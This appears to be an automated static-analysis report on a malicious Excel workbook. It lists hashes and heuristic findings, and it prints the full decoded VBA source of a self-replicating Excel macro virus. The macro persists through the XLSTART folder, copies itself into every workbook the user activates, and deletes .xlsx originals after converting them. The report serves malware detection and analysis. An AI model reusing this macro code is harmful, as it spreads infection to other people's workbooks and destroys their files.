Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 837a63937dde0807…

MALICIOUS

Office (OLE) / .XLS

47.5 KB Created: 2019-08-22 09:17:05 Authoring application: Microsoft Excel First seen: 2026-06-09
MD5: 9826a379e9b0c653cb6a924247d510b9 SHA-1: 9116d4a3759a8a860abed69b4b8d1ae4da311821 SHA-256: 837a63937dde0807ee0f39c74f4bbe24c0e0b5be3d5cc35ee49abb6b9e2c8dbe
116 Risk Score

Heuristics 5

  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
    'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
  • VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADER
    The macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.
    Matched line in script
        Application.OnSheetActivate = ""
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub Auto_Close()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1510 bytes
SHA-256: d49b3eed57ea333340314eacd5bf3454f6a2ba3085f3bfa723034dd1a2d97cfb
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Kangatang"

Sub Auto_Open()
Application.EnableCancelKey = xlDisabled


'If ThisWorkbook.Path <> Application.Path & "\XLSTART" Then ThisWorkbook.SaveAs Filename:=Application.Path & "\XLSTART\mypersonel.xls"
Application.DisplayAlerts = False
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath Then
    Application.ScreenUpdating = False
    Windows(1).Visible = False
    ThisWorkbook.SaveCopyAs Filename:=Application.StartupPath & "\mypersonnel.xls"
    Windows(1).Visible = True
End If

    Application.OnSheetActivate = ""
    Application.ScreenUpdating = True
    Application.OnSheetActivate = "mypersonnel.xls!allocated"
End Sub

Sub Auto_Close()
On Error Resume Next
Application.DisplayAlerts = False
If Right(ThisWorkbook.Name, 4) <> "xlsx" Or Application.Version <= 11 Then Exit Sub
ThisWorkbook.SaveAs Filename:=ThisWorkbook.Path & "\" & Replace(ThisWorkbook.Name, ".xlsx", ".xls"), _
FileFormat:=xlExcel8, Password:="", WriteResPassword:="", _
ReadOnlyRecommended:=False, CreateBackup:=False
Kill ThisWorkbook.Path & "\" & Replace(ThisWorkbook.Name, ".xls", ".xlsx")
End Sub

Sub allocated()
  On Error Resume Next
  If ActiveWorkbook.Sheets(1).Name <> "Kangatang" Then
    Application.ScreenUpdating = False
    currentsh = ActiveSheet.Name
    ThisWorkbook.Sheets("Kangatang").Copy before:=ActiveWorkbook.Sheets(1)
    ActiveWorkbook.Sheets(currentsh).Select
    Application.ScreenUpdating = True
 
 
 End If
End Sub

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